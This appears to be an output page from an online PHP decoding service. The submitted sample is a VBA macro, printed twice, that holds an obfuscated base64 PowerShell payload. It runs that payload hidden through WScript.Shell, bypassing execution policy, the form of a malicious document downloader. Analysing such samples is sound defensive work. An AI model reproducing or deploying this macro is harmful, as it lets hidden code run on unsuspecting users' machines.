Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
Sub DownloadFile() Dim encodedScript As String Dim decodedScript As String ..
Decoded Output download
<? Sub DownloadFile()
Dim encodedScript As String
Dim decodedScript As String
Dim shell As Object
' Encoded PowerShell scripts
encodedScript = " dXd5ND84eTQ3JT5cXDI5ITg6OTcyAyQ6a3Q+IiImbHl5Z2Z4ZGVgeGdlYXhkZ2J5NSIwezckIj8wNzUiJXk1PjciID8sOSR0XDkjIiYjIhA/OjMGNyI+a3R4eTU+NyIgPyw5JHRcXHV2AyUzdjUzJCIjIj86diI5djI5ITg6OTcydiI+M3YwPzozXDUzJCIjIj86dnsjJDo1NzU+M3Z7JSY6PyJ2ezB2dHIyOSE4Ojk3MgMkOnR2dHI5IyImIyIQPzozBjciPnRcXHV2FT4zNT12PzB2Ij4zdjA/OjN2ITcldjI5ITg6OTcyMzJ2JSM1NTMlJTAjOjovXD8wdgp2ezN2dHI5IyImIyIQPzozBjciPnR2C212Ij4zOFx2dnZ2MzU+OXZ0ED86M3YyOSE4Ojk3MjMydiUjNTUzJSUwIzo6L3YiOXZyOSMiJiMiED86MwY3Ij54dFwzOiUzXHZ2dnYzNT45dnQQNz86MzJ2Ijl2MjkhODo5NzJ2Ij4zdjA/OjN4dFwwPw=="
' Decode PowerShell script
decodedScript = DecodeBase64(encodedScript)
' Execute the decoded PowerShell script
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand " & EncodeBase64(decodedScript), 0, True
End Sub
?>
Did this file decode correctly?
Original Code
Sub DownloadFile()
Dim encodedScript As String
Dim decodedScript As String
Dim shell As Object
' Encoded PowerShell scripts
encodedScript = " dXd5ND84eTQ3JT5cXDI5ITg6OTcyAyQ6a3Q+IiImbHl5Z2Z4ZGVgeGdlYXhkZ2J5NSIwezckIj8wNzUiJXk1PjciID8sOSR0XDkjIiYjIhA/OjMGNyI+a3R4eTU+NyIgPyw5JHRcXHV2AyUzdjUzJCIjIj86diI5djI5ITg6OTcydiI+M3YwPzozXDUzJCIjIj86dnsjJDo1NzU+M3Z7JSY6PyJ2ezB2dHIyOSE4Ojk3MgMkOnR2dHI5IyImIyIQPzozBjciPnRcXHV2FT4zNT12PzB2Ij4zdjA/OjN2ITcldjI5ITg6OTcyMzJ2JSM1NTMlJTAjOjovXD8wdgp2ezN2dHI5IyImIyIQPzozBjciPnR2C212Ij4zOFx2dnZ2MzU+OXZ0ED86M3YyOSE4Ojk3MjMydiUjNTUzJSUwIzo6L3YiOXZyOSMiJiMiED86MwY3Ij54dFwzOiUzXHZ2dnYzNT45dnQQNz86MzJ2Ijl2MjkhODo5NzJ2Ij4zdjA/OjN4dFwwPw=="
' Decode PowerShell script
decodedScript = DecodeBase64(encodedScript)
' Execute the decoded PowerShell script
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand " & EncodeBase64(decodedScript), 0, True
End Sub
Function Calls
None |
Stats
MD5 | 7a450ed4a99735e84bac344310440346 |
Eval Count | 0 |
Decode Time | 45 ms |